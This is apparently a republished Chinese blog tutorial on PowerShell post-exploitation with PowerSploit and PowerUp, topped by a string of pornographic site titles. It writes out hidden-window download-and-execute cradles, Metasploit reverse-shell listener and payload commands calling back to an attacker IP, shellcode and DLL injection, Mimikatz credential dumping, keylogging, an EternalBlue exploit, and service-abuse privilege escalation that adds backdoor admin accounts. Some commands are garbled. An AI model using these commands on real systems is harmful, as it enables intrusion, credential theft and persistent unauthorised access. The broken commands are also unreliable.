日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Powershell攻击指南1——PowerSploit

發布時間:2023/12/20 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Powershell攻击指南1——PowerSploit 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

?

1.1PowerShell技術

1.2PowerShell基本概念

1.3PowerShell常用命令

2.PowerSploit

3.PowerSploit腳本攻擊

Invode-shellcode

Invoke-Dlllnjection

Invoke-Portscan

Invoke-Mimikatz

Get-Keystrokes

4.PowerUp攻擊模塊

5.PowerUp攻擊模塊實戰

實戰1

實戰2


1.1PowerShell技術

靈活且能功能化管理Windows系統,一旦攻擊者可以在計算機上執行代碼,就可下載powershell腳本(.ps1)到磁盤中執行,甚至可以直接在內存中執行。

常用的powershell攻擊工具:

  • PowerSploit: 這是眾多owehShe攻擊工具中被廣泛使用的PoweShel后期漏洞利用框架,常用于信息探測、特權提升、憑證竊取、持久化等操作。
  • Nishang:基于PowerShell的滲透測試專用工具,集成了框架、腳本和各種Payload,包含下載和執行、鍵盤記錄、DNS、 延時命令等腳本。
  • Empire:基于PowerShel的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑證信息,常用于提供前期漏洞利用的集成模塊、信息探測、憑據竊取、持久化控制。
  • PowerCat: PowerShell版的NetCat,有著網絡工具中的“瑞士軍刀”美譽,它能通過CP和UDP在網絡中讀寫數據。通過與其他工具結合和重定問,可以在腳本中以多種方式使用它。

PowerShell有以下這幾個優點。

  • Windows7以上的操作系統默認安裝
  • PowerShell腳本可以運行在內存中,不需要寫入磁盤。
  • 可以從另一個系統中下載PowerShell腳本并執行。
  • 目前很多工具都是基于PowerShell開發的。
  • 很多安全軟件并不能檢測到PowerShell的活動。
  • cmd.exe通常會被阻止運行,但是PowerShell不會 。
  • 可以用來管理活動目錄。

查看PowerShell版本

Get-Host $PSVersionTable.PSVERSION

?

1.2PowerShell基本概念

1. PS1文件
Rowusel 本其實就是一個簡單的文本文件,這個文件包含了一系列PowerShell命令,每個命令顯示為獨立的一行,對于被視為Powerhe腳本的文本文件,它的文件名需要加上.PS1的擴展名。

2.執行策略
為防止惡意腳本的執行,PowerShell有 一個執行策略,默認情況下,這個執行策略被設為受限。在PowerShel1腳本無法執行時,可以使用下面的cmdlet命令確定當前的執行策略。
?

Get-ExecutionPolicy Restricted:腳本不能運行(默認設置)。 RemoteSigned:本地創建的腳本可以運行,但從網上下載的腳本不能運行(擁有數字證書簽名的除外)。 AllSigned:僅當腳本由受信任的發布者簽名時才能運行。 Unrestricted:允許所有的script運行。

3.運行腳本

.\test.ps1 #運行當前目錄下的powershell

4.管道

get-process p* | stop-process

?

1.3PowerShell常用命令

1.基本命令

新建目錄: New-ltem whitecellclub-ltemType Directory。 新建文件: New-ltem light.txt-ltemType File。 刪除目錄: Remove-ltem whitecellclub. 顯示文本內容: Get-Content test.txt。 設置文本內容: Set-Content test.txt Value "ell,word!"。 追加內容: Add-Content light.txt-Value "i love you"。 清除內容: Clear-Content test.txt。

2.常用命令

如果要運行PowerShe腳本程序,必須用管理員權限將Restricted策略改成Unrestricted,所以在滲透時,就需要采用一些力法繞過策略來執行腳本,比如下面的三種

繞過本地權限執行 上傳txxp1至目標服務器,在CMD環境下,在目標服務各本地執行該腳本,如下所示。 PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1本地隱藏繞過權限執行腳本 PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfif -File xx.ps1用IEX下載遠程PS1腳本繞過權限執行 PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIEX(New-ObjectNet .WebClient).DownloadString(("xxx.ps1");[Parameters]Exctiolioc Byass繞過執行安全策略,這個參數非常重要,在默認情況下,PwerShel的安全策略規定PowerSheel不允許運行命令和文件。通過設置這個參數,可以繞過任意一個安全保護規則。在滲透測試中,基本每一次運行PowerShell腳本時都要使用這個參數。 WindowStyle Hidden:隱藏窗口。 NoLogo:啟動不顯示版權標志的PowerShell。 NonInteractive (-NonI) :非交互模式,PowerShell不為用戶提供交互 NoProfile(-NoP) : PowerShell控制 臺不加載當前用戶的配置文件。 Noexit:執行后不退出Shell。這在使用鍵盤記錄等腳本時非常重要。

?

2.PowerSploit

開啟apache,并將文件復制到html目錄下

service apache2 start cp -r powersploit/ /var/www/html/

PowerSploit模塊介紹

  • AntivirusBupass:發現殺毒軟件的查殺特征
  • CodeExecution:在目標主機上執行代碼
  • Exfiltration:目標主機上的信息搜集工具。
  • Mayhem:藍屏等破壞性腳本。
  • Persistence:后門腳本(持久性控制)。
  • Recon:以目標主機為跳板進行內網信息偵查。
  • ScriptModifcation:在目標主機上創建或修改腳本。

?

3.PowerSploit腳本攻擊

?

Invode-shellcode

msf監聽和生成powershell木馬

use exploit/multi/handler set payload windows/meterpreter/reverse_https set LHOST 192.168.0.109 set LPORT 8888 run

?

msfvenom -p /windows/meterpreter/reverse_https LHOST=192.168.0.109 LPORT=8888 -f powershell -o /var/www/html/test

?

1.直接執行ShellCode反彈shell

win7下載木馬并執行

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-Shellcode.ps1") #下載腳本IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test") #下載木馬Invoke-Shellcode -Shellcode ($buf) -Force #執行命令

?

2.指定進程注入反彈shell

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-Shellcode.ps1") IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test")get-process Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden #開啟一個無回顯的進程 Invoke-Shellcode -ProcessID 5032 -Shellcode($buf) -Force #進程注入

?

Invoke-Dlllnjection

使用Code Execution模塊下的另一個腳本Invoke-DLLInjection,這是一個DLL注入的腳本

?

1.使用msfvenom生成dll后門,并開啟監聽同上

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=8888 -f dll -o /var/www/html/test.dll

2.下載腳本和木馬

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-DllInjection.ps1") IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test.dll")Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden Invoke-DllInjection -ProcessID 2000 -Dll c:\test.dll

?

Invoke-Portscan

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Recon/Invoke-Portscan.ps1") Invoke-Portscan -Hosts 192.168.0.104,192.168.0.109 -Ports "80,445,22,139,3389"

?

Invoke-Mimikatz

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Exfiltration/Invoke-Mimikatz.ps1") Invoke-Mimikatz -DumpCreds

?

Get-Keystrokes

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Exfiltration/Get-Keystrokes.ps1") Get-Keystrokes -LogPath c:\test.txt

?

4.PowerUp攻擊模塊

Set-ExecutionPolicy Unrestricted #本地演示此模塊,powershell設置成執行任意腳本模式Import-Module .\PowerUp.ps1 Get-Help invoke-allchecks -full

1.Invoke-AllChecks

Invoke-AllChecks

2.Find-PathHijack

3.Get-ApplicationHost——利用系統上config文件恢復加密過的應用池和虛擬目錄密碼

4.Get-RegAlwaysInstallElevated?? 檢查注冊表項是否被設置

5.Get-RegAutoLogon——檢測winlgoin注冊表有沒有被設置,可查詢默認用戶名和密碼

6.?Get-ServiceDetail——返回某服務的信息

PS C:\> Get-ServiceDetail位于命令管道位置 1 的 cmdlet Get-ServiceDetail 請為以下參數提供值: ServiceName: dhcpName : Dhcp Status : OK ExitCode : 0 DesktopInteract : False ErrorControl : Normal PathName : C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted

7.Get-ServiceFilePermission

?

8.Test-ServiceDaclPermission檢查所有可用的服務,并嘗試對這些打開的服務進行修改

?

9.Get-ServiceUnquoted檢查空格路徑的漏洞

?

10.Get-UnattendedInstallFile檢查部署憑據

?

11.Get-ModifiableRegistryAutoRun檢查開機自啟的應用程序路徑和注冊表鍵值

?

12.Get-ModifiableScheduledTaskFile返回用戶可修改的計劃任務名稱和路徑

?

13.Get-Webconfig——檢查web.config數據庫

?

14.Invoke-ServiceAbuse——修改服務來添加用戶到指定組,并通過設置cmd參數觸發添加用戶的自定義命令

Invoke-ServiceAbuse -ServiceName VulnSVC -Username "TESTLAB\johb" #指定添加的域賬號

15.Restart-ServiceBinary——恢復服務的可執行文件到原始目錄

?

16.Test-ServiceDaclPermission——檢查某個用戶是否在服務中有自由訪問控制的權限

Test-ServiceDaclPermission -ServiceName VulnSVC

17.Write-HijackDll輸出一個自定義命令并能夠自我刪除的bat文件到$env:Temp\debug.bat,并輸出一個能夠啟動這個bat文件的DLL

?

18.Write-UserAddMSI

19.?Write-ServiceBinary——用于預編譯的C#服務的可執行文件

Write-ServiceBinary -ServiceName VulnSVC #添加默認賬號 Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" #添加域賬號 Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! #指定添加用戶,用戶密碼以及添加的用戶組 Write-ServiceBinary -ServiceName VulnSVC -Command "net......" #自定義執行命令

20.Install-ServiceBinary——寫一個C#的服務用來添加用戶

Install-ServiceBinary -ServiceName DHCP

?

5.PowerUp攻擊模塊實戰

實戰1

使用了Invoke-AllChecks,Install-ServiceBinary,Get-ServiceUnquoted,Test-ServiceDaclPermission,Restart-ServiceBinary

1.使用msf攻擊win7反彈shell

search ms17_010 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.0.104 set payload windows/x64/meterpreter/reverse_tcp show options exploit

2.上傳PowerUp腳本,然后執行

getuid upload /var/www/html/powersploit/Privesc/PowerUp.ps1 c:\

使用IEX在內存中加載此腳本

powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks"

也可以在cmd環境下使用命令繞過執行該腳本

powershell.exe -exec bypass -Command "& {Import-Moudle .\PowerUp.ps1; Invoke-AllChecks}"

3.檢查漏洞是否可以提權,書中查看的是Checking for unquoted service path模塊,此虛擬機沒有檢測出此漏洞

4.使用icacls檢測有漏洞的目錄是否具有寫入權限,驗證powerup腳本檢測是否正確

icacls "C:\PROGRA~2\SOGOUP~1\970~1.369\SGTool.exe"

5.使用AbuserFunction給出的具體操作方式,執行命令

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString("c:/PowerUp.ps1'); Install-ServiceBinary -ServiceName 'SGTool' -Username new -Password 1234powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString("c:/PowerUp.ps1'); Install-ServiceBinary -ServiceName 'SGTool' -Username new -Password 1234

6.添加用戶

當管理員運行 net start SGTool時,會添加我們的賬號低權限開啟服務需要重啟系統 shutdown -r -f -t 0net user #查看用戶 net localgroup administrators

7.清除痕跡

powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Restore-ServiceBinary -ServiceName 'SGTool'執行命令后可以把所有的狀態恢復到最初的狀態

?

實戰2

使用Get-RegAlwaysInstallElevated,Write-UserAddMSI模塊

1.前提:win+r打開gpedit.msc,需要把組策略中的計算機配置和用戶配置中Windows組件中的Windows Installer->永遠以最高權限進行安裝啟用

?

2.可以使用PowerUp的Get-RegistryAlwaysInstallElevated模塊來檢查注冊表項是否被設置,如果AlwaysInstallElevated注冊表項被設置,意味著MSI文件是以SYSTEM權限運行的。執行該模板的命令如下,True表示已經設置

powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Get-RegAlwaysInstallElevated"

3.添加新用戶Write-UserAddMSI

powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Write-UserAddMSI"

4.普通用戶權限運行UserAdd.msi

msiexec /q /i Useradd.msi

5.查看用戶

?

?

?

?

?

?

?

?

?

?

?

?

?

總結

以上是生活随笔為你收集整理的Powershell攻击指南1——PowerSploit的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。